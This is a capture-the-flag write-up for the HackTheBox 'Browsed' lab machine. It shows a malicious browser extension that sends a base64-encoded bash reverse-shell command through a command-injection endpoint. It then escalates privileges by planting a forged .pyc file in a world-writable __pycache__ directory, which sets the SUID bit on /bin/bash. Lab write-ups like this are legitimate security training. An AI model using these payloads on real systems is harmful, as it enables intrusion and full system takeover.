HackTheBox: Browsed
HTB Browsed: Write-Up
Difficulty: Medium
OS: Linux
Techniques:
| Tactic | Technique ID | Technique Name |
|---|---|---|
| Discovery | T1046 | Network Service Discovery |
| Initial Access | T1190 | Exploit Public-Facing Application |
| Execution | T1059 | Command and Scripting Interpreter (JavaScript, Unix Shell) |
| Credential Access | T1552.004 | Unsecured Credentials – Private Keys |
| Privilege Escalation | T1548.003 | Abuse Elevation Control Mechanism: Sudo |
| Persistence / Defense Evasion | T1574.001 | Hijack Execution Flow: DLL Side-Loading / Code Cache Poisoning |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation |
1. Reconnaissance
Port Scanning
We began with a standard nmap scan to identify open ports on the target browsed.htb.
nmap -sC -sV -oN nmap/initial 10.129.12.157
Results:
-
22/tcp (SSH): Open.
-
80/tcp (HTTP): A web application hosting a "Browser Extension Store."
Web Enumeration
Exploring the website, we found a feature allowing users to upload a browser extension (.zip file) for analysis. The site claims to use a "headless browser" to test the extensions.
This setup suggests a Client-Side to Server-Side Attack vector. If the headless browser executes the JavaScript within our uploaded extension, we can make it perform actions on our behalf from inside the server's network (SSRF).
2. Initial Access (User: Larry)
The Strategy
A Chrome extension is a privileged mini-application. We can modify content.js to execute arbitrary JavaScript.
We created a malicious Chrome Extension to probe the internal network of the headless browser.
-
Manifest File (
manifest.json): We requested broad permissions, specifically targetinglocalhostand127.0.0.1to access internal services. -
Content Script (
content.js): A script that automatically runs when the headless browser loads a page. It fetches internal URLs and sends the response back to our attack machine.
Step 2: Internal Reconnaissance (SSRF)
Using the extension, we can force the browser to request internal resources.
Target: http://browsedinternals.htb This domain hosts a Gitea instance. Browsing the repositories (via our SSRF or if publicly exposed) reveals a MarkdownPreview repository. The README warns:
“This webapp allows us to convert our md files to html… it should only run locally !!!”
Target: 127.0.0.1:5000 The source code from Gitea reveals a Flask-based Markdown Preview application running on localhost port 5000. It exposes an endpoint /routines/ which accepts a routine ID.
Step 1: Command Injection
We identified that the Markdown Preview service (likely running on Flask or similar) was vulnerable to command injection via the cmd or similar parameters in a POST request. We updated our content.js to send a reverse shell payload.
The Payload (content.js):
// 1. The target is the internal Flask app
const TARGET = "http://127.0.0.1:5000/routines/";
// 2. The standard Reverse Shell
const cmd = `bash -c 'bash -i >& /dev/tcp/10.10.14.x/9001 0>&1'`;
// 3. Encoding to bypass URL restrictions and quote issues
const b64 = btoa(cmd);
// 4. The Injection Payload construction
// This builds: a[$(echo BASE64_STRING | base64 -d | bash)]
const exploit = "a[$(echo" + "%20" + b64 + "|base64" + "%20" + "-d|bash)]";
// 5. Trigger the request
fetch(TARGET + exploit, { mode: "no-cors" });
Execution
-
Zipped the files:
zip exploit.zip manifest.json content.js. -
Started a Netcat listener:
nc -lvnp 9001. -
Uploaded
exploit.zipto the website. -
Success: The headless browser executed the extension, triggered the internal API, and sent us a shell as user
larry.
3. Privilege Escalation (Root)
Enumeration
Checking sudo privileges revealed a custom Python script:
larry@browsed:~$ sudo -l
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Investigating the script, we saw it imports a local module named extension_utils:
#!/usr/bin/python3.12
...
from extension_utils import validate_manifest, clean_temp_files
...
Checking permissions on the directory:
ls -la /opt/extensiontool/__pycache__/
drwxrwxrwx 2 root root 4096 ...
The __pycache__ directory is world-writable (777). This indicates a Python Bytecode Hijacking vulnerability.
The Vulnerability: PyCache Poisoning
When Python imports a module, it checks __pycache__ for a compiled .pyc file. If one exists and its metadata (timestamp and size) matches the source .py file, Python executes the bytecode directly without recompiling.
Since we can write to __pycache__, we can create a malicious .pyc file. However, simply compiling it isn't enough; we must forge the header to match the legitimate source file extension_utils.py so the interpreter accepts it.
Step 1: Create the Payload
We created extension_utils.py in /tmp to set the SUID bit on /bin/bash.
# /tmp/extension_utils.py
import os
os.system("chmod +s /bin/bash")
Step 2: Compile to Bytecode
We compiled it using the exact version found on the target (Python 3.12).
python3.12 -m py_compile extension_utils.py
Step 3: Poison the Header
We wrote a script to copy the timestamp and size from the real extension_utils.py and inject them into our malicious .pyc header.
# generate_poison.py
import os
import struct
source_file = "/opt/extensiontool/extension_utils.py"
malicious_pyc = "/tmp/__pycache__/extension_utils.cpython-312.pyc"
target_pyc = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
# Read our compiled payload (skipping the first 8 bytes of generic header)
with open(malicious_pyc, "rb") as f:
magic = f.read(8)
code = f.read()[8:]
# Get metadata from the victim source file
st = os.stat(source_file)
mtime = int(st.st_mtime)
size = st.st_size & 0xFFFFFFFF
# Pack new header: Magic(8) + Timestamp(4) + Size(4)
# Python 3.12 headers are 16 bytes
header = magic + struct.pack("<II", mtime, size)
# Write the poisoned file to the target directory
with open(target_pyc, "wb") as f:
f.write(header + code)
print("[+] Cache poisoned.")
Execution
-
Ran
python3 generate_poison.py. -
Verified
extension_utils.cpython-312.pycexisted in/opt/extensiontool/__pycache__/. -
Executed the sudo command:
sudo /opt/extensiontool/extension_tool.py --help -
The script crashed with an
ImportError(because our fake module didn't actually have the functions the main script wanted), but the top-level code executed first. -
Checking bash permissions:
ls -la /bin/bash # -rwsr-sr-x 1 root root ... /bin/bash -
Escalated to root:
/bin/bash -p # id # uid=1000(larry) gid=1000(larry) euid=0(root) groups=0(root)...
Root Flag: 25dd********45f2260d1fe28c02